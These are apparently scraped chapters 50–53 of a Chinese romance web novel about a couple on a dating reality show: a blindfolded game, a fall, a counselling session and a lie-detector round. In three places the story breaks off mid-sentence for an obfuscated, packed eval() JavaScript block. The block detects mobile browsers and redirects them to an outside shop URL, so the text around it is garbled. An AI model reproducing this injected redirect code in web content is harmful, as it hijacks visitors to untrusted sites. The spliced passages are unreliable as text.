“你在乐什么啊,这一关我们可不能再输了。”牧阳无奈地耸肩,看坐在椅子上的晏川好像还在傻乐,不由叹气,“都怪我,要不是我发挥那么差,倒也不至于再绑一次。” 两个人在苹果园已经绑了一次,这回自然换着来。被蒙眼的变成晏川,牧阳则负责指挥。 至于捆绑双手,属于累积导致的“上难度”。虽然侥幸获得资金,但做错就是做错,无论是牧阳还是沈蔷薇,作为上一关“做错”的组合,在新的一关必须加大难度。 等晏川被牧阳从座位上牵起来,沈蔷薇和贺平的争吵还没结束。 素材有了,拍摄时间没有了。 小春毫不客气地出来调停,把沈蔷薇的手也绑住,并扬言两人若是再吵下去,就要绑住两人的嘴。沈蔷薇和贺平瞬间老实,都不吵,还和和气气表示赶紧恢复录制,进度最重要。 牧阳低声问晏川:“感觉适应了吗?” “嗯,”晏川点点头,却好像在想遥远的事情,“你当初适应吗?” “什么?” “摘苹果的时候。”晏川问她,“就是这种感觉?” “应该比你好一点,”牧阳说,“那个时候有你跟着我呢,土地也是软的,不怕。再说了,我又没有被绑手。” 晏川听着那句“有你牵着”,就一直在笑。 牧阳没忍住捶他一下:“正常点,回家再笑,录节目呢。” 晏川侧耳朝向她的方向,挨了一下也觉得甜:“可是我觉得我离你更近了。” 50. 【五十】 牧阳立刻撤开一步:“还听得清吗?” 晏川听清了,但是他嘴角抿了抿,明显不再乐。 乐不会消失,只会转移。牧阳看他这个样子,刚想笑,小春就开始招呼:“继续录制!继续继续!我数三二一,安老师主持,开始!” 看着场中三个仿佛梦游一样慢慢转着圈走的人,安释恒回头小声问编导们:“我们是不是搞错了,应该一个人蒙眼睛,一个人绑手?” 编导们有的点头,有的摇头。一个机灵的低声说:“节目效果。” 反正也不会出事。 沈蔷薇已经在喊了:“番茄!番茄!再往前两步,摸番茄!” “芹菜!对哦!宝宝你知道芹菜吗,就是细细长长绿绿的那个!哦对你现在看不到了!就找细长的!有一把,就在前面,宝宝你往前摸!对!你摸到拿起来就行!”姚柯叶仿佛幼师。 牧阳见缝插针道:“玉米。右手往前,两点钟方向。” 贺平:“玉米?在哪呢?” 沈蔷薇:“混蛋!你听我说话了没有!番茄,番茄!老贺!” 贺平:“哦哦哦,番茄。在哪儿呢?” “番茄!在——” “是这个吗?”晏川提高声音。 牧阳点点头,意识到晏川看不见,忙将手扩到嘴边:“对!你先拿着,再拿一根胡萝卜,就在玉米旁边!” “没听见!哪儿呢?”贺平还在乱转。 包菜、茄子……晏川一手握着玉米,一手去试探桌上水果的材质,很快就摸到牧阳说的胡萝卜。他把两样蔬菜一起拿在手里,准备往回走。 戴上眼罩之后,他们被转了好几圈带到场地中,此时早没了方向感。晏川转身背对着桌子试图往前走,结果却是离他斜侧的贺平越来越近。 “小川!”牧阳连忙道,“这边!” 晏川抓着玉米和胡萝卜暂停不动,似乎在分辨她的声音来源。 牧阳提高了一点声音:“小川!我在这里!” 她很想向他招手,又很想跑过去拉住他。或者至少能跟在他身边,像当初晏川在苹果园里做的那样。 可是现在不行,她只能在划定的圆圈边缘走动,用声音吸引他的注意。 晏川攥着手里的农作物。节目组准备食材的时候很贴心,胡萝卜和玉米都很干净,摸起来只能感觉到它们本身的质感,不带尘泥。他无意识地摩挲着它们的外皮,站在原地。失去视觉的辅助,世界仿佛一片寂静的黑色,声音在放大,内容却并不清晰。 像陷入水中,像灌入狂风。听得见和听不清竟然同时成立,他努力分辨来自她的声音。 不熟悉。 听不真切,也不敢确定。 过往的记忆像褪色的相片遥远失真,留下情绪和画面。晏川只觉得自己心跳声太大,早就盖过了外圈纷纷扰扰的噪音。周围总是争论与提示,她的指令藏在洪流之中。 听她亲口说话的时刻太少了,又总是距离太近。 隔得这么远,原来不敢认。 “小川!”牧阳提醒他。 一滴水坠入黑色的海。 晏川循着声音的方向,小心迈步。他只能判断她的方向是在自己身后,但实在听不出是哪里。于是他尝试转身。 天旋地转。 牧阳吓了一跳! 她看晏川已经听清方位,再次侧身往自己的走来,还以为这一轮已稳。没想到她刚放下手,正打算放松一会呢,晏川就脚底一滑,整个人往后摔了下去。 一个大高个突然脚底打滑仰面摔跤,而且手还被绑着,乍一看是很有几分喜剧色彩的。 然而牧阳一点都不觉得好笑,她看到晏川摔下去的那一刻,身体已经条件反射一样冲了出去,往他的方向跑。 晏川发现脚底一滑的时候已经来不及了,他的重心太过靠后,整个人都送了出去。两只手被绑着,而且拿着两个等会要护送到终点的食材,他第一时间竟没想起可以丢掉它们,于是抱着它们背部落地,砸在地面上。 身体后知后觉开始火辣辣的疼,周身似乎也传来尖叫,像要把他淹没在黑海之中。 牧阳也顾不得能不能进圈的规定,飞奔到倒地的晏川身边,趴在地上尽力将他扶起,使劲伸手托住他的头:“哪里摔着了?疼吗?能不能起来?” 熟悉了。 就是这样的声音。 他们坐在一起的时候,她凑在他耳边讲话的时候,就是这样的。 牧阳看到晏川竟然还傻笑,心下预感更是不妙,扶着他的手下意识用指甲掐了一把他手臂:“疼吗?” 晏川终于反应过来:“……疼。” “哪里摔着了?是不是节目组的地太滑了?”牧阳问他。 节目组的工作人员也上来了,看到那一块明显颜色都比周围深了一度的地砖块,已经汗流浃背地下去找人。 安释恒这时也上来救场。他匆匆半跪在晏川身边,实现扫过他全身:“没事吧,咱们先起来,站起来看看哪里有问题。” 牧阳还在紧张:“头没事吧?摔到肩了,摔到背了?还是腰?” 安释恒看看抿着嘴的晏川,再看看牧阳,无奈笑道:“你先别急,让他慢慢说呗。我看小伙子人挺好的,摔一下没事啊。” 两个人把晏川扶起来。一站起来,晏川就赶紧强调:“我没事。” “真的没事?”牧阳问。 晏川摇摇头。 牧阳这才稍稍安心,可明明是觉得安心的判断,她却忽然觉得自己后脑勺开始泛疼,仿佛有什么神经受到了压迫一般一突一突的。很不舒服。 安释恒看看已经没事的晏川,又看看不再追究的牧阳,也是心下稍安。他刚想说什么,发现晏川的眼罩一直没摘,手上的农作物也还在,一瞬间又有些不好意思:“呃……那刚刚的这件事就算个小乌龙,我们继续?” “幸好是小乌龙,”牧阳强忍着烦躁,“不然出了事情怎么办。” 安释恒赔着笑,尴尬道:“这个是我们工作人员的疏忽,真是不好意思,我应该在比赛开始前检查一遍的。” 牧阳摇摇头:“这么细节的一块,任谁都很难查到,只能说是我们的运气。” 安释恒看牧阳的脸色,总觉得她心情必定很差,于是抢先一步拿过晏川手里的两个食材,笑道:“弟弟手里这个玉米和红胡萝卜,我帮你们拿到筐子里去吧?这样,咱们这两个就算都通过了。现在,咱们继续比赛,弟弟原地转三圈,重新出发,去拿下一个农作物,牧阳退回到圈外,然后换一个定位点,可以吗?” 牧阳见晏川真的没事,绷着脸点点头:“辛苦安老师了,谢谢。” “谢谢安老师。”晏川连忙跟着说。 安释恒摆摆手:“小事小事。” 安释恒退到他的“队长位”后,晏川在原地转了三圈。牧阳经过贺平,朝着新的定位点走去。其他几位嘉宾显然都有听到刚才他们的对话,虽然没摘眼罩,但几个人的比赛都默契地暂停了。 “哎哟!是不是有人作弊了呀!”听到牧阳的脚步,“闲庭信步”的贺平一边捏着又脆又硬的番茄,一边眼儿不见地阴阳,“我是不是也该摔一跤?” “摔你屁股墩个头!快点过来。”沈蔷薇着急得都快上火了,只恨贺平现在看不见自己的眼神杀,“快点!别磨蹭!” 贺平看不见,站在外圈的沈蔷薇看得一清二楚,晏川那个摔法虽然滑稽,但是没点底子还真容易摔坏,刚才无论是牧阳还是节目组着急,都很有理。 牧阳根本没理贺平这句话,直接站在新的定位点上。沈蔷薇感激地朝她一瞥,两人这回的点位比刚才近的多。牧阳若无其事地开始看自己的卡片,对着找下一个食材。 贺平拿着番茄过来,被沈蔷薇斥了好几句,才又嘀嘀咕咕地转着圈往场中走了。沈蔷薇应付完贺平,发现牧阳还在看卡片,似乎有些不在状态,担心道:“刚才啥情况?” “你看回放就行。”牧阳懒得解释。 沈蔷薇察觉出她的疲惫,一时心情复杂。隔了几秒,她还是小声提醒:“我刚听到你跪在地上噗通好大一声。那小弟弟看着没什么事,现在转完了圈也好好的,倒是你的脸色太难看了,别强撑。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“还好吧,就是有点头疼?”牧阳抽空说了句,“肯定是又睡少了。” 她忙着夹菜,好像眼前的盒饭很香似的。 “除了膝盖和头疼,身上还有哪里不舒服?”晏川又问,“头疼具体是哪里疼?” 牧阳摆手,姬慧于是道:“牧姐以前就时不时会头疼一下,不过对平时生活没什么影响的,不用担心。” “不影响事,还不如电视剧里娘娘的‘头风’厉害呢。”牧阳说,“快吃,少大惊小怪。” 晏川看着被夹到自己碗里来的红烧肉,又抬头看看牧阳。 牧阳已经放下筷子,此时正仰头喝水,注意到他的视线,还有意错开看向旁边。 “牧姐,等录制结束,我们就放假吧。”姬慧一边吃,一边诚恳道。 牧阳笑了:“行行行,肯定给你放。” 姬慧听到这话就叹气:“我是说牧姐你呀!该休息了。” “我已经有大半年没怎么认真忙过了吧。”牧阳自觉除了最近忙公关行程有点紧,平时也没什么大事。 姬慧看了低头吃饭不语的晏川一眼,又瞪了一眼自家关键时候总装傻的上司:“休息!” 牧阳顺着姬慧的视线看了一眼,眼神再次轻飘飘移向别处:“……那就休息呗,等忙完了,我要好好睡个几天几夜,睡它一天十八个小时。” 晏川忽然抬起头来:“为什么要睡这么久?” “哈哈,这个嘛,牧姐她开玩……” 牧阳打断了尴尬的姬慧,懒洋洋地解释:“我真的能睡这么久。以前读大学的时候,我甚至睡过一整天,因为睡太久了,室友都来试探我鼻息,要把我送医院。” “是该送医院吧!”姬慧吓了一跳,“这真的没问题吗?” “没什么问题,可能是手术后遗症,也可能是心理问题,当时我精神比较一般。”牧阳轻描淡写地说,“我吃饱了,你们继续。” 晏川连忙放下筷子:“你大学的时候做过手术。” “准确来说是大学前,”牧阳说,“高考结束之后,我休学了一年,养病。” 晏川跟着她起身,还没追出去两步,牧阳便拍了他的肩一下:“我出去接个电话,你跟着她在这里等我。” 51. 【五一】 晏川想叫住她。 “大学前,就一场……” “你在嘀咕什么呢?”姬慧问。 晏川连忙摇头:“哦,没什么。”他看姬慧的神情放松,于是沉吟片刻,又开口:“其实我有点担心,能睡这么久,是不是手术的后遗症?” “我也不知道啊,牧姐从来没说过这件事,”姬慧摇摇头,“而且姐平时看着都很正常,我都不知道她以前还动过手术。” “哦……”晏川失落地点点头。 姬慧看他这样,忍不住道:“其实说不定——” “说不定?” “算了,他们都断了。”姬慧耸耸肩,又竖起大拇指,“你加油!留久一点,看好你。” 晏川哭笑不得,等姬慧转身离开,脸色又冷下去。如果有谁知道牧阳大学里的事情,那大概率就是江百川。但出于一种全然的直觉,晏川觉得江百川也不知道牧阳以前的事。 不然他就不会是“小川”。 所以她后来还是动手术了。 果然当初的事情比那些“大人”说得严重。 到底是什么问题? 为什么还有这么严重的后遗症? 为什么…… 她会忘记他。 “谦冲,月底爷爷生日,你记得回来。”电话那头的男人说完又顿住,忍不住提醒,“在外面玩就算了,别把不三不四的人带到家里来。” 牧阳盯着自己面前这棵金钱树,伸手触摸它的叶子:“我会履行义务。” “我听说你……”那人说了一半,似乎还是觉得难以启齿,于是没有继续说下去,“记住我说的话。” 牧阳等对方挂了电话,收起手机,脸上带出笑容:“六六!你在这里啊。” 一路找到这边来的六六不好意思地擦汗:“哎呀!” “我刚在这里接电话呢,江先生一直在那边等你,我看他等好久了,”牧阳笑着道,“快去找他吧。” 六六连忙道谢,往江百川的方向走了。 江百川靠在走廊扶杆边,看到走过来的六六,冷笑一声。 六六压低声音道:“哥,咱们回去吧。下午的录制快开始了。” “刚刚她在和谁打电话?”江百川问。 “没听到,我走过去的时候都打完了。”六六叹了口气,“走吧,江哥!咱们跑完今天的行程,晚上还得去机场,明天早上七点,那边就开机了。王导还给我打电话呢。” “那个神经病真恶心。” “是是是!唉……” 下午从费老师的部分开始录制。 费姵玫自称不擅长游戏。她的部分被安排在一个很小的空间里,布置得有点像心理咨询的访谈室。 “吃完饭就运动,对身体不好。咱们都先坐下聊聊天,消消食吧。”费姵玫笑着说。 然而三对嘉宾不仅不往前走,甚至还想后退。谁也不出声。安释恒看得都有些无奈了,不得不打圆场,就近问:“贺老师,要不……” “我觉得没什么好谈的呀。”贺平非常直接,一点也不客气,“能不能跳过这个环节,谁知道你们最后会怎么剪,我不服气!我一个大男人,不擅长表达,到时候一进去,指不定被她们俩娘们联合起来玩。” 费姵玫明显也听到了关键词。她可不肯惯着这位导演,等贺平那边说完,扩音器就响了:“那边的‘大男人’是谁,先过来。” 贺平嘀咕着:“我从小怕老师。”不情不愿地被沈蔷薇拽进聊天室里去了。 “对谈而已,至少不是那个项目。”牧阳意有所指地小声说。 晏川隔了一会才应声:“……嗯。” 牧阳看了他一眼。 到底是年轻人,面上功夫勉强做到位,一开口还是叫人看出他有心事。刚刚发生什么了?总不会是因为担心她小半辈子前一个没有后遗症的小手术吧? 肯定是介意她刚才避开他单独行动了。明明之前的录制就发现了一些端倪,却没有着手去解决这个问题,现在众目睽睽之下,沟通不便…… 牧阳有些心虚地去勾晏川的手指:“我觉得我们挺默契的。” 没头没尾的一句话。 晏川低头,用手指回卷牧阳的手指,两人的小拇指勾在一起,像拉钩起誓。 就在刚,他亲眼看着牧阳和江百川一前一后从外面走进来。 他的思绪有些放空,只是默默站着,等工作人员出声,再配合地走到定位点上。 江百川步速均匀,身姿挺拔,他经过的时候,谁也不能忽略他。魅力像风一样刮过片场,他漫不经心地和别人打着招呼,眉眼看起来却是极守礼貌的样子。甚至看到他,这家伙还很有前辈风度地抬起手,小弧度和他挥了挥。 晏川微笑点头,抬起来的手停在半空,过了片刻,朝着这人的身后挥了挥。 他有心赶走那团碍事的乌云,让太阳照亮他的眼睛。 牧阳第一时间没有看到他,好像有什么心事。她和其他人似乎都保持着距离,包括和这位前艺人,看起来也没什么关系。其实两位作为之前的艺人和东家,这种过分的避嫌反倒坐实了不欢而散的事实。 当然,事实是,不只是不欢而散那么简单。 好像是感应到了他的目光,她终于舍得抬头。 “不好意思,接下来要进入情感访谈室的是牧阳、晏川!”安释恒的声音骤然打断回忆。 晏川感觉自己的小拇指被对方放开,还没来得及失落,对方的掌心就贴住了自己。 牧阳开心地摇了摇两人紧握的手:“太好了!” “姚柯叶、池知夏,”安释恒颇为遗憾和同情地念出剩下二人的名字,“你们因为之前的表现,经过综合判断,被分到了‘灵魂大考验’。” 不肯死心的姚柯叶崩溃了,当场惨叫出声。池知夏苦笑着,摄影机贴着两人绕着圈拍,她僵硬地动了动嘴唇,最后什么也没有说。 牧阳因为“逃过一劫”已经彻底放松下来,于是下意识安慰他们道:“没事的!多为对方考虑,能过的!” “哪有那么简单!” 姚柯叶忍不住抱怨,可是他的话像火车尾气一样飘散,说话的本人已经被黑衣工作人员拉走。至于池知夏,当然也无法逃跑,老老实实地被工作人员“逮捕”,抓去那个上一季非常出圈的争议项目。 牧阳目送他们离去,根本掩饰不住眼底的喜色,因为最容易穿帮的环节,对她来说已经逃过去了。 没办法,谁让流量太好吃,换位思考,她是小春也会力排众议保留这个环节。哦不,小春尚且有些良心,如果是她的话,甚至要把所有的嘉宾都安排去“上刑”呢。 晏川下意识握紧了牧阳的手。 “没事啦,”牧阳终于舍得正常说话,“放心,就是聊聊天,消消食。” 晏川盯着她的脸。 “嗯,”他点了点头,忽然笑了,“我也觉得我们挺默契的。” 等沈蔷薇和贺平若有所思地完成录制,从他们面前经过的时候,晏川和牧阳已经一人笔记本,一人平板地忙着办公了。 “该不会刚才都是我的梦吧?”沈蔷薇看到仿佛写字楼办公室一样的氛围,两眼一黑,“真没想到,能聊这么深刻。” 贺平难得沉默,什么也没说,似乎真的在思考。 牧阳终于舍得抬头,看到沈蔷薇的表情,忍不住调侃:“这可是免费心理咨询?外面想约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232350|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都约不到呢。” “就你会说!可别在里面和费老师吵起来。”沈蔷薇终于笑了,她停下脚步,低头拍拍牧阳的肩膀,“你们这就出来了?夏夏呢?” “他俩被叫去‘灵魂大考验’了。” “怎么进去的是他们?!”沈蔷薇说完,立刻半捂住嘴,“我是说,我以为……你们毕竟……” “费老师反而更看好我们。”牧阳立刻伸手挽住晏川,不无得意道,“人家名师就是不一样,眼光实在好。” “……行吧。”沈蔷薇潇洒地一挥手,刚走出去几步,又回头,“弟弟加油!” 晏川没来得及回复,就被牧阳拽住:“别理她。” 他没能回头成功,只能跟着牧阳一起起身,收拾好东西,然后往那个小小的临时录制间走。 “费老师不需要休息一下么?”牧阳问门口站着喝水的费姵玫。 “没关系的,我学校里有事,等会还要早点回去。”费姵玫说完,又连忙道,“不好意思啊,可能得先全录完我的环节。” “不碍事。”牧阳摆摆手,“其实都一样。” 费姵玫笑着给两人递水,又抬手招呼他们:“来吧,牧阳、晏川,请坐。” 牧阳早在刚才已经放松下来,听到费姵玫的引导,立刻抓住晏川的手腕,牵着他窝进双人沙发,顺便换一个规矩但舒适的姿势。 晏川想接费姵玫递过来的两瓶水,手刚伸出去,牧阳就全截下了,把其中一瓶递给他。 “给。”牧阳笑着把水递给他。 晏川接过这瓶水,拿在手里。 费姵玫饶有兴致地看着两人互动。 牧阳微微挑眉:“可以开始了。” “……好,”费姵玫点了点头,“其实从刚才进来我就发现了,因为我有注意到你的一些小动作。” 她伸出手,比了比刚刚两人进门的方向:“你的个性其实非常强势。从进门开始,这里的一切都要你说了算,包括你评估我,你询问我。还有,我递给你们的水,你没让他接。你自己抓过去,然后分给他一瓶。” “……是这样吗?”牧阳看了看两人手里的水,有些尴尬地耸肩,“完全没发现。” “其实强势也没什么问题,”费姵玫说,“倒不如说,是一种非常合适的事业型人格。我很欣赏你这些年取得的成就,年少有为都是保守了。” “别夸我了,说你本来要说的吧。”牧阳说完,反应过来了,“哦,这就是你说的强势?” “强势不是我想说的,”费姵玫单手托着下巴,轻笑道,“我们是恋爱观察嘉宾,不是职场观察嘉宾。我想说的是你在亲密关系里的掌控欲。” 牧阳顿住了。刚刚放松的姿态也不自觉的紧绷起来。 费姵玫依然专注地看着她,语气轻缓温柔:“我猜你自己也有点意识到了,对吗。我们可以一起回看这些你们相处时候的小片段……” “不用了!”牧阳说完,忽然意识到她反驳得太厉害,她不敢再看费姵玫,于是将求助的目光投向晏川,“我是觉得……” “费老师,”晏川朝着牧阳点点头,“我们是三个人的对谈。我不认为你说的这算问题,我也不需要通过视频回放确认我们之间相处的经过。和谦谦姐姐之间的事情是我们两个人的,我们上综艺不是为了让别人纠正我们,而是给大家展示一些不一样的相处模式。” 晏川的表达太过流利,也太过专注,等他一口气说完,才有些羞涩地垂下眼:“至少我是这样想的。” 牧阳怔怔地看着他,一时间说不出话。 费姵玫反应了一会,笑了:“说得真好。我很欣赏你的恋爱观,少年,这些都是你自己想出来的吗?” 52. 【五二】 晏川点了点头:“是。您是想问我,有没有专门思考过这个事情吗?我读过一些探讨亲密关系的书,但我水平相当浅薄,可能在您面前谈论这些,属于班门弄斧了。” “如果遇到问题可以找我,我很期待你的思考,”费姵玫笑着说,“你很聪明,但我还是要问:你真的只有这一段恋爱史?” “是。”晏川点头。 “哦……”费姵玫发出一个有些意味不明的单音。 晏川低下头。 费姵玫看了看晏川,又转向牧阳。 “他做了诚实的表达,”她问,“你呢,牧阳?” 牧阳有一种梦回课堂讨论,被老师点名的错觉:“……我也要聊我的恋爱史吗?” 费姵玫用一种期待的目光看着她。 “呃……我是问,这会影响我们之间的亲密关系?我是说,我觉得我和晏川挺好的,没必要再聊我之前的感情。”牧阳努力找回节奏。 “抱歉,我无意窥探你们双方的任何隐私,”费姵玫摊手,“我只是个普通的大学老师,要不是节目组的邀请,我也不想太深入了解他人会如何处理自己的感情。我很喜欢你们,但我必须说一些讨人厌的话——” “我之所以会问你之前的感情经历,是因为我注意到,你们两人在相处的时候,你会显得更自我。你更关注自己和身边的外物,而忽略身边的人。” 牧阳的手抓着水瓶,却总觉得手指感受不到它的重量。她低头看着自己的手腕,不敢抬头和面前的费姵玫对视。 “我相信你在这段感情里是快乐的,”那个女人的声音轻轻的,“但我会忧心它太短暂。你们的差距或许不在年龄,阅历,认知层次上,和世俗意义上的认知相反,我对你们这方面的表现反而很有信心。我真正在乎的是你们能不能在这段感情里不被消耗,获得成长,不陷入过去的循环。” 牧阳忽然抬起手,把手里的水瓶递给晏川。 晏川拿着两瓶水,有些不知所措,不解地望着牧阳。 “帮我开一下。”牧阳轻声说。 “好。”于是晏川低下头,拧开牧阳的那瓶水,递给她。 “谢谢。”牧阳接过水,握在手里,侧身喝了一口。 费姵玫坐在两人的对面。明明沙发平齐,可牧阳却觉得自己和晏川仿佛比对方矮了好几截,像两个挨训的小学生似的,尽管老师还想再说什么,两人早已挨挨蹭蹭地彼此靠近,像互相取暖的小动物一样挤在一起,手上小动作不断。 “牧阳,”费姵玫最后说,“我不知道这会是你的其中一段感情,还是你的最后一段感情。但是我必须提醒你,你一定要问清楚自己的内心。你了解他吗?你爱眼前的这个男人吗?你是把他当做你的恋人,还是你的‘恋爱游戏搭子’?” 没等她反驳,费姵玫又道:“你享受他带给你的一切理所当然。很多人都像套公式一样谈恋爱,像过家家一样生活,我不是说这样不行,但我认为你追求的不只是这样。你不能因为对方很爱你,就觉得你也很爱对方。你不能把满足一个爱你的人,当做你应当的责任。” “非要我清醒着沉沦吗?”牧阳记得自己这样问。 “就当是我个人的猜测吧,”费姵玫说,“我想你会更喜欢这样的感觉。当然,这有一定的风险。但我们选择录制‘周旅’并在此相遇,本来就是为‘爱’而来。” 牧阳张了张嘴,最终什么也没说,莞尔一笑。 费姵玫的手从膝盖上松开,也跟着笑道:“……你的控制欲一定无数次帮助过你。你的事业很成功,你学生时代就读的也是名校。你的男朋友也很帅。就算你不是明星,但是你在行业内的成就比明星还要出彩。但是呢,一般我们会说,要是一个人有着过强的控制欲,就会使这个人对其周围的信息产生蒙蔽。如果认知被蒙蔽,这个人的认知就会受到影响,继而影响一个人对世界的看法,对外在环境的感知。然而悲剧就是,事实和真相往往不会等我们期待了再出现。” “……好吧,我懂你的意思,但是我觉得在这方面,我也没有这么强的控制欲吧,”牧阳的笑容变得有些勉强,“这也太夸张了!至少我认为我很实事求是。” 说完这句话之后,她感觉到自己的后背一直有冷汗在流。灯光打在身上,她掐着自己的掌心,清楚三个人的侧面、背后都有机位,摄像头冰冷地照着自己。在这之后,费姵玫还说了很多内容,她其实有些记不清了。 她只记得对面的人问了句什么,晏川一下牵住了自己的手。他用力握着她的掌心,以至于被掐住的地方带来的疼痛都被忽略,她只感觉到那双手比她的手干燥、温暖很多。像一个不会烫人的温暖的热源。 晏川认真对着对面的那位老师说:“我相信时间,她只需要相信我就够了。” 顺利通关。 录制结束后的牧阳感觉自己的状态有些游离,站起来的一瞬间甚至有眩晕感。她终于理解为什么之前沈蔷薇和贺平出来的时候显得那么深沉,实在是费姵玫太不客气,说话太认真。 那么较真有什么意思呢。 “……姐姐?”晏川轻轻喊了她一句。 牧阳摆摆手。她的情绪有些低落,头也很疼,大脑被塞入太多信息,充实远超过往。以至于她难得地不想和任何人接触,只想好好静一静。 晏川转过头去问一旁的工作人员:“要录制下一部分了吗?” 于利春一挥手:“休息一个小时。傍晚提前开始录制,可能会没时间吃晚饭,你们中途找间隙吃点零食垫垫肚子,辛苦了。” 这是姚柯叶和池知夏的“灵魂大考验”还没结束的意思。 “我要休息。”牧阳立刻找到姬慧,“让我去车上。” 晏川捏着一块黑巧燕麦脆,把整袋包装递到牧阳怀里。牧阳靠在椅背上,根本没理他。 入口有沙沙脆脆的口感。 等他吃完一个,想再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285422|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去拿的时候,就发现那边的袋子发出窸窸窣窣的声音,牧阳从袋子里掏出最后一个,看了看他,很明显的犹豫。 晏川收回手。 牧阳立刻把最后一块递给他:“拿走。” “你不吃?” “我吃过了。”牧阳说,表情有点恹恹的,不过比起刚才恢复了不少,“费老师怎么这么较真。” “你还头痛吗?”晏川问。 “还好,本来就不是很痛,是脑力消耗过度,需要补充糖分。”牧阳指指自己的脑门,“现在吃饱喝足,自然就没问题。” “好在温言姐的部分有惊无险。”晏川把空着的包装袋折好,扔进垃圾袋里,“我们要回答三个问题。” “她临时改口的!”牧阳笑了,“说不定后期还要补录,要是穿帮了怎么办?真闹着玩。” 晏川跟着笑。 牧阳的余光瞥见他,忽然又想起费姵玫的话。 “你笑什么?”她问。 “嗯?”晏川的笑容僵了僵,“我看你在笑。” “我笑是因为很轻松,我又不怕得罪谁。”牧阳说。 晏川点点头:“我看你笑,我也轻松。” “……哦,”牧阳不置可否,“走吧。” “欢迎来到我的‘关卡’,”江百川特意戴了一副金属框架眼镜,穿着白衬衫,看起来有点像年轻的男老师,“各位需要佩戴好我们为大家精心准备的仪器,如果有上手遇到困难的,可以由我为大家帮忙。” 在造型上给他戴这种包了三个指节的黑色手套,还像模像样地拿着教鞭,节目组和六六他们的沟通效果不错。牧阳听着江百川说话,多年的熟悉,让她一瞬间发觉了他的紧张。 他好像总是这样,在片场的时候像一尾自由自在的鱼,到了她的身边就僵直了。 “这什么玩意,怎么还要连在手腕上。”贺平看着这种东西就烦。 姚柯叶倒像是被“灵魂大考验”洗涤过一番,此刻上赶着帮池知夏:“宝宝我给你戴,你别动。” “有遇到什么困难吗?”江百川先走去了贺平那一组。 冰冷的金属触感搭在自己的皮肤上。 牧阳一回头,就对上晏川含笑不语的脸。他凑的很近,此刻正侧身低头帮她在手腕上系这个莫名其妙的小手表。两只手腕都要戴,再加上嘉宾席是这种看起来像那种要审问别人的椅子,更是让人有一种不祥的预感。 晏川的视线朝着那边走远的江百川望一眼,又看向牧阳。 牧阳接收到他的暗示,于是贴近他:“想当演员?也可以。” 眼看着牧阳凑近自己,还以为能听到什么安抚他的情话的晏川:“……我不要。” “两位佩戴得怎么样了,需要帮助吗?”一个声音从他们头顶传来。 江百川凑近两个人,明明站得离晏川更近,视线却寸步不离眼前的牧阳:“有没有绑得太紧了?接触还好吧?” 53. 【五三】 “哥,帮大忙了!”晏川立刻道,“我刚刚给姐姐绑好,现在正好要绑我自己呢。” 江百川依旧低头看着牧阳。他的视线绕过她搭在扶手上的手腕,看到白色的线圈绕过她的身侧,一直连到地面。 牧阳耸耸肩,看着晏川笑:“怎么不先绑你自己,我都没反应过来,就被你绑住了。” 晏川低着头解开表盘上缠绕的线团:“我比较勤劳。” 牧阳一下子笑出了声。她刚想抬手,才意识到两只手都被缠在扶手上,只好无奈地抬头看向江百川:“让你见笑了。帮帮他吧。” 江百川移开视线:“单手系结都不会?你们帮帮他吧。” 有眼色的工作人员立刻上来帮忙。江百川低头看牧阳,语气轻松得像开玩笑:“别以为我不知道你打什么算盘。这里是恋综,别让你的男人碰瓷我。” “被你识破了,真遗憾。”牧阳闭了闭眼。 “姐姐,我和江大哥接触一下就叫碰瓷吗?”晏川问得很真诚,“我只是想请他帮个忙,他刚刚问我们需不需要帮助的。” “没事啊,现在也有人帮你。所以,遇到问题求助就是对的,”牧阳说,“总会有人帮你的。” 晏川不说话了。江百川帮姚柯叶重新固定扶手上的系带,确认所有数据正常运行,才重新回到主位站定:“欢迎来到‘匹诺曹的秘密’。本关顾名思义,是一个关于真话与谎言的鉴定测试关,而各位刚刚佩戴好的,就是本关的‘测谎仪’。” “测谎仪?”贺平质疑道,“现在还有这么先进的东西了,我怎么不知道?” “您害怕吗,贺导?”江百川彬彬有礼地问。 “……当然不怕。”贺平说完,场中忽然响起急促的警报声! 众人侧头望去,只见贺平手腕上的表盘滴滴响动,红色的光十分明显。 “看来是有些害怕了。”江百川笑着点了点头,“没关系的,录制结束之后,您可以将整个仪器带回去研究。” “……整蛊来的吧。”贺平看起来心有余悸,说话底气弱了三分。 “因为我们的花瓶组合在上一关配合默契夺得第一,所以你们只需要回答两个问题。”江百川笑道,“第二名的木船,你们是第二名,需要回答……三个问题。” 牧阳盯着自己手腕上的这个测谎仪。它真的能测出来他们说的是真话还是假话吗? “至于夏夜组合,你们因为在刚才的关卡中出现失误,除了原本第三名的四个问题之外,还要接受三个问题的考验。因此,你们需要回答七个问题。”江百川说完,视线再次逡巡一圈,落在中间的牧阳身上,“提问很简单,但如果回答过程中测谎仪报警,则视为回答失败。” “这个测试很有意思。”牧阳突然侧头对旁边的贺平说。 